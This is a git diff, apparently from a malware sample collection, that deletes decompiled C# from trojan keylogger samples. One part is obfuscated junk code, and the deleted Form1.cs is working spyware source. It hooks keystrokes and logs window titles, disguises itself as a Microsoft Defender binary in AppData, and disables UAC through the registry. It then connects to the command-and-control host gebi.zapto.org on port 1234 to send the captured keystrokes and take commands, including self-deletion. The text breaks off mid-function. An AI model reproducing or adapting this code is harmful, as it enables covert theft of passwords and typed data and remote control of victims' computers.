flag2 = true; - } - } - while (false) - { - while (true) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (true) - ; - str1 = "G346dWlrs0d7k35b2CQSuqE8o73ie3q1d3Gyapbi927Q9y8A3EJ27S855s5V2e6Q3gHJOCq0AGJJEa5jp5KkhfEEk6ypHW0qXx18v89Y2m85EwQk8KkKaNO1F7z1960yjZ6M064pfau80pqleVuo45GleOp"; - num2 = 3.0; - flag1 = false; - while (true) - { - flag2 = true; - num1 = 83440.0; - } - int num6 = 1; - do - { - if (true) - { - num1 = 98214203.0; - int num7 = 9657254; - while (num7 <= 9) - checked { ++num7; } - int num8 = 52; - do - { - checked { ++num8; } - } - while (num8 <= 650928319); - if (false) - ; - int num9 = 85; - do - { - checked { ++num9; } - } - while (num9 <= 3673); - } - checked { ++num6; } - } - while (num6 <= 218785584); - int num10 = (int) Interaction.MsgBox((object) "'!ŠJ1=\u0081^%d7Š\u0090m2Hq\u007F\u008F_;FhHTU8JMG+7164>Q‡%h’n:}ŽlX?PXvjx„}W,\u0081b{F‹>’E&l18t@:O@‡,=M4A-a=*-gR@Lo2cEi\\%mA"); - num1 = 9730L; - while (true) - { - num2 = 39584; - while (true) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - if (true) - ; - int num7 = 700514317; - while (num7 <= 4971) - checked { ++num7; } - flag = false; - while (false) - ; - ProjectData.ClearProjectError(); - } - } - if (false) - ; - } - } - int num8 = (int) Interaction.MsgBox((object) "5’ƒˆil’l3%Yx>f\u0090nb\u0090Q>‡H\\a2eZ’GfT>V\u007FtRC;we1i:hŽ)\\=:F_P4\u008D\u007FVAv#2 D_)Zzz;;>tlkurBŒ7[‘t,@V-[’>0`8dd\u007F)7bSBu!‘(}v[7-3H^Z4>8?^#P>z\u008F+p\\'&‰h*Jv9;r.7l?bD…*z!pPFg|l^##\u008D%…J@nTAW(‘{A‹^*'"); - } - } - } - - private object i8sVv1RVpAa2m571BO4S6eCw2e9() - { - while (true) - { - if (true) - ; - } - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - int num1 = 416648; - while (num1 <= 1) - { - do - ; - while (true); - checked { ++num1; } - } - while (false) - ; - int num2 = 163; - while (num2 <= 17) - { - do - ; - while (true); - int num3 = 106134; - do - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - while (false) - { - if (false) - ; - } - int num4 = (int) MessageBox.Show("]<{\\<ƒd‘mz[Žej9X9\u0090>}w?2a$Vy‰f/"); - while (false) - { - int num5 = 878384590; - while (num5 <= 6104) - checked { ++num5; } - if (true) - ; - } - checked { ++num3; } - } - while (num3 <= 276123); - if (true) - ; - int num6 = (int) MessageBox.Show("\u0081‡Lˆ&lbSK[rwkH2<\u007F‚†i[p!>q Tv!jL4,p4b>VE$^s[ gH}6ŒRŽt\u0090?1…-7%7\u007FRH…Ec^k‘laKae\u0090\u008FX>*kj_'bmj7€^AU&Q-8+Jhm#|17@„c3JA5M‚-M`?Kx8mLq,p7Z\u008DSM„d‚c&\u0081XHzq)W\u007F^I†eŒ#`‹sdP j+$Y"); - checked { ++num2; } - } - while (true) - ; - do - ; - while (true); - ProjectData.ClearProjectError(); - } - while (false) - { - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - if (false) - { - try - { - } - catch (Exception ex4) - { - ProjectData.SetProjectError(ex4); - ProjectData.ClearProjectError(); - } - } - ProjectData.ClearProjectError(); - } - } - return (object) 75703; - } - - private object eWIXC0xg1169S9h6lwBg() - { - string str = "{€d=k†J"; - int num1 = 5989; - while (true) - { - num1 = 24517; - while (true) - { - do - ; - while (false); - str = "xb1askOh8Z9y1EN67o16UPP7x6rSpM2D"; - while (true) - str = "w2oc0ArC200h1mDdEO"; - int num2 = (int) MessageBox.Show("9=*g‰74R`L>>tPdJ’x†O\u008FVD)+ckuqJ[UokFK-‚8c*5.Kg1]D/`*f#5\u0081v‹ \\E^Qt6„|a(*8Zw/}l>lFOQhJd,n€E€qjv4S`ug\u007F€ƒ!]S[6s240MT6"); - if (false) - ; - str = "Rvbagr3Sbrydyc1zk76CGUf10B7eGrgG6Io9He7fJsH8PsKw89OdESEM2e6QjB0p7A5M3vH8CB4IgsMGl32dDMLim9P3ypLKFUH0w6PE0T2Yq9069ZOJudeB21n93RxL32EIRX1LsOSKJ7i6zGz5KSuWSW6GJ"; - } - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - num1 = 8; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - while (false) - { - str = "e6J8F191MBPRbHZw69dr3aqsl8W9GGMhyIY8ORAUi7Tc721i1nel96a0L9wWCnN9X9tk4FYx7Lj8OI9f7sVhIE83niNxB0axWHt1XcOD82a4Oa401Yo8kKMq8tKb8ZVVIaee8z4R8BZ2b7wvGVQTE4"; - if (false) - { - str = "edlU0T7Kg29Gc4A2YbYTnsB3F8mw32urY8DQZ2lKoYYpq"; - while (true) - { - num1 = 44121623; - do - ; - while (false); - while (true) - { - str = "jM5B7tN5rzzhq8Btzh62g98Lx5BP723VWGKz1gQrfeWp8g5FC09aU98ch68lNh3H193544S0M46Kf2bAlN6Bi50MjJwe5tp8V6kQv47n31Uq9hJvzEQ1J"; - if (false) - ; - } - str = "L1n4puSPCU43p3kAr5PBZ8vCe1PO4962lK7lCzv5r4d0e60MSzrViE0Xcc3f179a18X7w2OQXUfvIM360uGpRbjDDc7oa9l2GcIxMx4uEu70vFr72E0774O1x40ijiFqxKf1SY300q577orne1m4NHQgmds9K7i5NtvmdkLckBK6a0977NP585G75dQTwI54XndTq"; - str = "gfGsgi1o3KF1prnsIZ6L5I0Wy8EJe78A8O3cSs3KRRoaZu50hd70v6jf4bkfdX7M4P0o2U"; - while (false) - { - if (true) - ; - } - int num3 = 1; - do - { - str = "rB8Xps14Z9w8TdEJbiHYYw33tb9q10D1zu"; - do - ; - while (true); - num1 = 1029342; - if (false) - { - num1 = 8721181; - str = "CYRFdp77K6BsUT8aFV0q947eI0lFnm"; - } - if (false) - ; - int num4 = (int) MessageBox.Show("dq8txN\\(ƒV,xjzA^U€0Ylu&‡^rHr7[U|)3UY}A…nl%4#n\u0081=\\ymfQy-:\u0081jC6%%|„G!BoWEzt4\u008DU\u007Ffa;oU\u007FŒ]‡#\u008FŒf‚Y+\u007Fh‚4\u007FM2x7‘‹RVD@f@g*Zc9ƒFR\u0090@r]q‹:).\u007F\u0090Rt €\\og\u008DdU_qnEF;Ncg[;S^F3y~S`]h?‘2[4q~KlKTŒDRaE|p0[h J:mq0K!}‹s)z=RMH\u008D(‹†\u008D0yZ:‡eTwP! ?fŠ€V`SI‚Rt‚\\4.ŠTu(ct%9S3W"); - while (false) - ; - } - int num6 = (int) Interaction.MsgBox((object) "WZW\\+q%jqrW\\`!HQ>9MVm‘Dm|&=Q{u6CTŒ>`+8\u008D[N[y]A$:3\u008Di[wQ‘\u007FX6}s$Tf‚Ž[3'guzE&?…(18yKx\u007F)V19R„U-xJAWˆ&zl}!-\u008FfP3D"); - } - int num7 = (int) Interaction.MsgBox((object) "_‰m@OQ\u008D8J/qt)AdZ\u0090O$aI~@XMx>{8lC€xŒE_RXŽ‚\\oojŽ(‹~K,Sv@….th5…j32’q\u007F„\u008F/\u008F$'WT4$m.h]E\u007FRP,8__…~dŠ=fCoJo‘~)+{"); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - int num8 = (int) Interaction.MsgBox((object) "ŽA,\u0081Se’j_}tt†X?D"); - } - if (true) - { - int num9 = (int) Interaction.MsgBox((object) "dr14BcGLJ9byuo0m"); - } - return (object) 63298; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/xO8Lcd7LMsI8eH3C5hOzuS72um9.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/xO8Lcd7LMsI8eH3C5hOzuS72um9.cs deleted file mode 100644 index 0ec0157d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/xO8Lcd7LMsI8eH3C5hOzuS72um9.cs +++ /dev/null @@ -1,291 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.xO8Lcd7LMsI8eH3C5hOzuS72um9 -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace Q -{ - [StandardModule] - public sealed class xO8Lcd7LMsI8eH3C5hOzuS72um9 - { - private static object M58b3FWONIZ() - { - Decimal num1 = 53342402M; - long num2 = 580; - while (true) - { - int num3 = 140176; - while (num3 <= 8) - { - while (true) - ; - checked { ++num3; } - } - while (false) - ; - int num4 = (int) MessageBox.Show("\u007F0eQXzgiV\u0081MkS#\u0081Y&iLV3"); - if (false) - ; - } - string str1 = "†"; - str1 = "O4Xt9JWesLx9nJXxTG2t3F4DmuNm860yiL1dN9mBB7s7QwV625vjKr638rVugD43aJ545yA50Miz91gqeVlfYQQpRQj2eu549z1KxNY0G80EYh7qP2R1wNK5plzv298rrsM6ud7V81A0Yb7SMK2z88h0X94j4g77q3r7xkDw4037T41AEapl1cYO"; - str1 = "e1V4J4Y4iMQ51ea5LFEqmEQ35YihibuAiV5i4Pqcew8V973RcxwhV0B73eeQLS6rJL46cb0tC31H0y9qI9359id22p20Wz75z5O8Etx8LPz9x089B5EJpSefS31NVE7NtkDcRV9fq1KC3"; - str1 = "quwdBPB22z09zlt0INYmfv5eRb9O6jE3EsL8zpbVjuTEM6hKdtQR7an6o99MGnhH0Lh9RMArcAfp1wPKdNnI717CwNH6mix6sD1Z7Tj25GmDpY8x0caMakAD3dpDx2I9H46xU58JwRnILtBhRVRA584S32HpMkUekegUe9joX8cTR7X97n1PX9n6VF73TXm"; - num2 = 592458248L; - bool flag = true; - Decimal num5 = 47M; - if (false) - ; - num2 = 27934L; - int num6 = (int) MessageBox.Show("[mF-7R‡+‡Bx0Ae8^…:/1xFˆŒYŒ,\u008Fz)$\u0081\\Kƒf8&`q?;6w€+Wo‡lmbQg4xLf5Xz.-9sAw:H‹l3bRX*r5l‰UP(."); - str1 = "CP01ZOgz5ZCF2JZ28G0Ni7DfCXl1ApODT4CYNuIV8Y94YSsyWkc9199S82EG2h5nNg6p2RWc4620ig7H14t2izPC2j9743D1V001lM7AIkTudyPGg2aRe321rXm4futWxP7gW11FMkdyj3jWA7JSV76gIzShCN07yWG8USwV6E2jscS1ZTsXu"; - if (true) - ; - str1 = "pN3Po032qrjebIxI2f2w47v02N518PT7mR6JT0vqdi6hi"; - num2 = 9L; - int num7 = 2; - double num8 = 10.0; - int num9 = (int) MessageBox.Show("ˆŠ2fTB,SG\u007F Kfp#†„A>LRG†‰P\u008D^Bct1ƒX]zn…‹JŒ:vJ„8C,Œ]w‚z\u008DLg"); - int num10 = (int) MessageBox.Show("kmppL6%/t|FG!=:+R\u007F%|‰.Tn†xŽ‰{{t!>UWja&‘n24J06P\u0081\\r@5\u007Fi‚’]8}f;.GŒ'E(^yc]K€JjuwDWVŠQ7[f‡JOV\u008DQ_2uˆD5u4‚ohs3YKcSGr]^+QL2i@\u008FsEIQ:Œ‘†rAiEN:\u0081@(~g€eBŠ‰9w†3"); - int num16 = (int) MessageBox.Show("KƒF&LGt‘Z\u008F6[`0\u007FXLWŠ(#9L0.YyWMO!9Z. '#\\n=8AN5F’D%\u007F>Y$h]T2W6‹…a’z/k\u0090ŠntpBr+[/\u007F|†Uv%m2"); - Decimal num3 = 2M; - long num4 = 739533; - while (false) - { - while (false) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num3 = 454208M; - while (true) - ; - if (false) - ; - while (true) - flag = true; - num4 = 21L; - while (false) - { - if (true) - ; - } - ProjectData.ClearProjectError(); - } - } - } - } - - public static object Q76V080Dbntb2EOCv92Z() - { - while (false) - { - while (true) - { - if (true) - ; - } - int num1 = (int) MessageBox.Show("r†`:‰:&a…C.Uk#nqf]=sq85vBP#u\u0090vWfKy]X2\u008D] |Xr;`mqEzuEH^‚…Yq|‹Y6Dc.~Z*…Y6_k <Š8Y\u008D6gqq\u008D;P/'[‡#yH&|XˆcO%c\u007F~c5lGB‹l wfDzXIGpoR"); - while (true) - { - while (false) - { - int num2 = (int) MessageBox.Show("\u0081I3‘M\u0081YI*9UA"); - } - } - } - double num3 = 340607.0; - long num4 = 0; - bool flag = true; - Decimal num5 = 482M; - do - ; - while (false); - num5 = 9M; - num3 = 3.0; - num5 = 54M; - while (true) - { - flag = true; - flag = true; - } - while (false) - ; - num4 = 149L; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - int num6 = (int) Interaction.MsgBox((object) "vYB!Qc€D3E0‹]Fh~eq7x*/JOGZa(…fDN?ƒHOulI+hK{Y„=~wvtesaZ4g/…m"); - return (object) 9793; - } - - private static object la6zC() - { - string str = "‚Œ;Y.d2y]jlKVJT?>G"; - while (false) - ; - if (true) - { - str = "DZHCVB5qo4p52jeW98G35htSWlsNRZuedyug4w7Y9u8Z437aM2kFDdGliTrt3EIE649o1qE6269kYcyX3Mcp42UrlvpxKblVR8"; - if (true) - ; - int num1 = 67; - do - { - if (false) - { - int num2 = (int) MessageBox.Show("rNi{?Y}„o/‰wK}K(M’k*Q6$f?\u007FDQ:ej+;@6!hA’quM%:x>Q‰(RMt„YI\\I#[R5Ki)W~\\*fJR+’\u008DG#0}€!MNI{8‰9tŠlkey`[Jw\u008FuŒuGBq At‰2EL_5Z$z\u0081„ae{3\u008Dq\u007FERQ\u0090?3'†>&+jz‰4Bbd@+O>[tG‰+3G\u008D3H’"); - str = "MG6b3FrkX6b5W"; - int num3 = (int) MessageBox.Show("„}M](f-^%\u008Fƒ0y$tdnLvˆK{_q/cuŠ+‹sR [X~$d’B$LjkX‹-Zc@'>ƒ%Y\u0081\u007F‹#K+Q-_ˆ_*MTƒ‘0†87V:F}ƒUaŽW\u008F8k\u008F‰‹Ž\\O'{‚\u008Dms\u008F„N4Z„Žfs_0xfeEF>(h'[.[Šx:A[t@=\u0081s4F`5Oct?†oK,]o\u0090f87-[€ii‚UnQ†^\u008F…r\u008F]P‘y€"); - Decimal num4 = 1M; - Decimal num5 = 4176682M; - string str1 = "{NwS'tOgE}rmq’ŠH‚0 „Cn†O@x9*wf‹'>WY2ˆMqj„/pdIIŒ\u008Fq1‹G†SI†\u0081Ofi„|;_o''h€6’XˆC†„0\u008DfD9o$TBj}.eDXz'y(‡1ˆABD/Z1RQc`Wu‡|AP4x8,LO=Z:…Yq\u0081\\~\u0090’$Dˆ`\\„ ƒ'@ Z.,a89.\u0090(G‹ \\$Œ"); - ProjectData.ClearProjectError(); - } - if (false) - { - int num13 = (int) Interaction.MsgBox((object) "F3HzD"); - } - } - - public void HGhUU1h50mV6by7748() - { - double num1 = 41312480.0; - Decimal num2 = 560656M; - if (true) - return; - while (true) - { -label_3: - if (false) - { - int num3 = 21980; - do - { - checked { ++num3; } - } - while (num3 <= 90284); - goto label_3; - } - else - { - while (false) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - int num4 = (int) MessageBox.Show("L[VI&ecŽJl\u007F€NVJ‡+EaZO‰-IU/;a.FM5!6>bf4e\u0081„\u007F…\u008FexYt5eEW@,RVM-†ŠJ!€#?j~87z@Šsric#0wphYK\\!ˆ‡‡wz4Y@mW‚’\u0081pŽŒA\\MDNwaV‚R=H6BƒiCKu‰TOfyi%;yc4S|vF\u008F\u00907e1FQ‡HŠ1*Kf9n\u007FF8€,y^xrFp>=|_RŽ‡k+"); - num2 = 8973M; - while (false) - { - do - ; - while (false); - if (true) - { - num2 = 516510M; - while (false) - ; - num1 = 0.0; - num1 = 7384288.0; - if (true) - ; - if (true) - { - if (false) - ; - while (false) - ; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - num1 = 28003.0; - num1 = 4611368.0; - int num5 = (int) MessageBox.Show("CGw@8z1\\\u0081%$0‚aBv),3g€gŽMU*(O]N+bq%1d&D,H3Hy4X\\V…€fijQ!vnKI}-qu‘RŒTR|Opow ~TW\u0081z‡‹f6bŠxT1oAU9pY‘iQJF:$*lV/‰„je`?€cT„Y[3&lXB"); - } - num1 = 67363870.0; - } - } - ProjectData.ClearProjectError(); - } - } - } - } - int num6 = (int) Interaction.MsgBox((object) "8V[vfŒ\u008FXZh!h!:+#eu9_Œx.y0\u0090\u008FˆB*u\u007FY}M4)4qdAO_Hr#6b(ŽXh^|]SGteh\u008F&5P†4.7€‰ŒP#h=]9y'-yL€Gd-@o?\u008D\u007FHb(h:9.U]‡"); - } - - public object BxaO45W7() - { - double num1 = 50575435.0; - bool flag = false; - while (false) - { - int num2 = (int) MessageBox.Show(")-f‘F‹+A7?])|{JMƒ„‡48N/\u008D‘'=kGDJˆnK"); - } - num1 = 235.0; - double num3 = 251.0; - flag = true; - Decimal num4 = 8864467M; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - while (true) - { - while (true) - ; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - num1 = 708.0; - while (true) - ; - num3 = 755529165.0; - num1 = 671137750.0; - num4 = 87M; - flag = false; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (false) - { - int num5 = (int) MessageBox.Show("*~SMXUknoBe2PJq\u008D<-sŠ$i(;ƒ%g7ˆ-‚;p\\ƒVu>†\u008Fl&{m‰\u0081\u0090<;eZ\\Œy%4Œ6]R\u0081SxaRJT†Z:8‘9w>‘\u0081ME!'JŽCfFA‰Vn\\_tT-8@::_L*t M\\C5['F^ƒ[KVXU\u008D,(^O\u007Fpl"); - while (true) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - while (true) - ; - while (false) - { - int num3 = 1; - do - { - while (false) - { - if (true) - ; - } - checked { ++num3; } - } - while (num3 <= 735); - } - ProjectData.ClearProjectError(); - } - } - int num4 = (int) Interaction.MsgBox((object) "j@rDll€oƒ?gz;XOTz3]YH\u0081\\€H†^-KKwo(t]ŠE"); - checked { ++num1; } - } - ProjectData.ClearProjectError(); - } - if (false) - { - int num = (int) Interaction.MsgBox((object) "rkYmT0pO276By7"); - } - } - - public object l18ERZ51q5V8y9vMIyd() - { - Decimal num1 = 1M; - while (true) - num1 = 530824M; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (true) - { - while (false) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - if (true) - ; - while (false) - { - while (false) - { - int num2 = (int) MessageBox.Show("9\u008F;x\u00819i@'bAR‘dvmoMP€\u008F@eŠ\\Pv;\u0090€#$CV‰'!1\u0081Q@’OZŽŠL1€E`d]\u008Dx?Y5sG"); - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - do - ; - while (true); - int num3 = (int) Interaction.MsgBox((object) "?QZHpi`\u007FPY_HŒ*W0vC‘‡DQ€=*Š‹u9-D?]N%dC~K\\K5q=rZˆ<@~\u0081rfXF\u0081c<=yp~eC5@~]%…\u007F‹‹U\\.sc]bpTM?dk$(7 '`d\u007F`bN'RoJ6M’‰z1\u008F7. qmv I8#dgyU\u0081…xJFi\u008F^D["); - ProjectData.ClearProjectError(); - } - if (false) - { - int num4 = (int) Interaction.MsgBox((object) "J5WA"); - } - } - int num5 = (int) Interaction.MsgBox((object) "z+ZB}nz,qex…OWX}x4Œ%@\u0090v1_4|H '6?[u*uD‡`onq7Abi~'Žp;X‚QE}GHui„Q,iNYIlLvYƒf=IaxUa‰HtMC\u007FqO*P@MŽ2Š}=e`…)?2m76J„e'v$…y\u007F@/#|}p)>;,"); - } - int num6 = (int) Interaction.MsgBox((object) "qoS,\u008F8bXi6'5,T€}m<[5Ejm9{v5 !‰a‚ll41Žz~BA6)(€pH‚>„DoQV‰Xl<};†~$j;b†Tz_e„‚!N/+‰ƒ3fmq{`‘m,7ˆiP|uR‚^'p\u0081(7"); - ProjectData.ClearProjectError(); - } - return (object) 1663; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/AssemblyInfo.cs deleted file mode 100644 index 3facae78..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyTitle("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("aca52cc7-0f7d-49a2-83d9-d4e21a980169")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.cs deleted file mode 100644 index ce4a93e3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.cs +++ /dev/null @@ -1,371 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MSASCui.Form1 -// Assembly: MSASCui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0EB0363B-A145-4FB4-99F4-D9A059C20475 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3.exe - -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace MSASCui -{ - public class Form1 : Form - { - private IContainer components; - private TextBox textBox1; - private Keylogger.Keylogger keylogger1; - private string IP = "gebi.zapto.org"; - private int Port = 1234; - private Thread connectthread; - private Thread persisthread; - private Thread recievethread; - private TcpClient client = new TcpClient(); - private NetworkStream serverStream; - private string logPath = Path.GetTempPath() + "\\log.txt"; - private string persisPath = Path.GetTempPath() + "\\persis.bat"; - private string filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Defender\\MSASCui.exe"; - private string old; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.textBox1 = new TextBox(); - this.keylogger1 = new Keylogger.Keylogger(); - this.SuspendLayout(); - this.textBox1.Location = new Point(1, 1); - this.textBox1.MaxLength = 999999; - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new Size(14, 14); - this.textBox1.TabIndex = 0; - this.textBox1.TextChanged += new EventHandler(this.textBox1_TextChanged); - this.keylogger1.Enabled = true; - this.keylogger1.Keylogger_Mode = Keylogger.Keylogger.Keylogger_Modes.Hooks; - this.keylogger1.VKCodeAsStringDown += new Keylogger.Keylogger.ValueChangedEventHandler(this.keylogger1_VKCodeAsStringDown); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(18, 16); - this.Controls.Add((Control) this.textBox1); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.KeyPreview = true; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.Text = "MSASCui"; - this.Load += new EventHandler(this.Form1_Load); - this.Shown += new EventHandler(this.Form1_Shown); - this.ResumeLayout(false); - this.PerformLayout(); - } - - [DllImport("user32.dll")] - private static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll")] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); - - public Form1() => this.InitializeComponent(); - - private void Form1_Load(object sender, EventArgs e) - { - try - { - string str = Encoding.ASCII.GetString(File.ReadAllBytes(Application.ExecutablePath)); - this.IP = str.Substring(str.IndexOf("@GIK@") + 5).Split(':')[0]; - this.Port = Convert.ToInt32(str.Substring(str.IndexOf("@GIK@") + 5).Split(':')[1]); - } - catch - { - Environment.Exit(0); - } - if (!(Application.ExecutablePath == this.filePath)) - { - try - { - Directory.CreateDirectory(Path.GetDirectoryName(this.filePath)); - File.Copy(Application.ExecutablePath, this.filePath); - } - catch - { - } - Process.Start(this.filePath); - Environment.Exit(0); - } - int num = 0; - foreach (Process process in Process.GetProcessesByName("MSASCui")) - { - try - { - if (process.MainModule.FileName == this.filePath) - ++num; - } - catch - { - } - } - if (num <= 1) - return; - Environment.Exit(0); - } - - private void Form1_Shown(object sender, EventArgs e) - { - this.Hide(); - if (File.Exists(this.logPath)) - this.textBox1.Text = File.ReadAllText(this.logPath); - foreach (Process process in Process.GetProcessesByName("cmd")) - process.Kill(); - this.connectthread = new Thread(new ThreadStart(this.connect)); - this.connectthread.Start(); - this.persisthread = new Thread(new ThreadStart(this.persistent)); - this.persisthread.Start(); - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true); - if (registryKey != null) - { - if (registryKey.GetValue("EnableLUA") != null) - registryKey.SetValue("EnableLUA", (object) "0"); - } - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true); - if (registryKey == null || registryKey.GetValue("EnableLUA") == null) - return; - registryKey.SetValue("EnableLUA", (object) "0"); - } - catch - { - } - } - - private void keylogger1_VKCodeAsStringDown(string value, bool isChar) - { - string str = ""; - int num = 256; - StringBuilder text = new StringBuilder(num); - if (Form1.GetWindowText(Form1.GetForegroundWindow(), text, num) > 0 && this.old != text.ToString()) - { - str = Environment.NewLine + "[--" + text.ToString() + "--]" + Environment.NewLine; - this.old = text.ToString(); - } - if (!isChar) - value = !(value == "Back") ? (!(value == "Delete") ? (!(value == "Tab") ? (!(value == "Return") ? "" : "[R]") : "[T]") : "[D]") : "[B]"; - TextBox textBox1 = this.textBox1; - textBox1.Text = textBox1.Text + str + value; - } - - public void connect() - { - while (!this.client.Connected) - { - try - { - this.client.Connect(this.IP, this.Port); - } - catch - { - } - } - this.serverStream = this.client.GetStream(); - byte[] bytes = Encoding.ASCII.GetBytes(this.client.ToString() + "$"); - this.serverStream.Write(bytes, 0, bytes.Length); - this.serverStream.Flush(); - this.recievethread = new Thread(new ThreadStart(this.recieve)); - this.recievethread.Start(); - this.connectthread.Abort(); - } - - private void recieve() - { - try - { - while (true) - { - this.serverStream = this.client.GetStream(); - byte[] numArray = new byte[10025]; - int receiveBufferSize = this.client.ReceiveBufferSize; - this.serverStream.Read(numArray, 0, receiveBufferSize); - string str = Encoding.ASCII.GetString(numArray); - this.exe(str.Substring(0, str.IndexOf("$"))); - } - } - catch - { - this.client.Client.Close(); - this.client = new TcpClient(); - } - this.connectthread = new Thread(new ThreadStart(this.connect)); - this.connectthread.Start(); - this.recievethread.Abort(); - } - - public void exe(string command) - { - try - { - if (command == "get") - { - if (this.textBox1.TextLength > 5000) - { - this.send("[GET]" + this.textBox1.Text.Substring(0, 5000)); - this.textBox1.Text = this.textBox1.Text.Remove(0, 5000); - } - else - { - this.send("[GET]" + this.textBox1.Text); - this.textBox1.Text = ""; - } - } - else if (command == "info") - this.send(this.getinfo()); - else if (command == "delete") - { - this.persisthread.Abort(); - try - { - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue("MSASCui", false); - } - catch - { - } - if (File.Exists(this.logPath)) - File.Delete(this.logPath); - File.WriteAllText(this.persisPath, ":n" + Environment.NewLine + "DEL \"" + this.filePath + "\"" + Environment.NewLine + "if exist \"" + this.filePath + "\" goto n" + Environment.NewLine + "DEL \"" + this.persisPath + "\""); - Process.Start(new ProcessStartInfo(this.persisPath, "") - { - WindowStyle = ProcessWindowStyle.Hidden - }); - Environment.Exit(0); - } - else - { 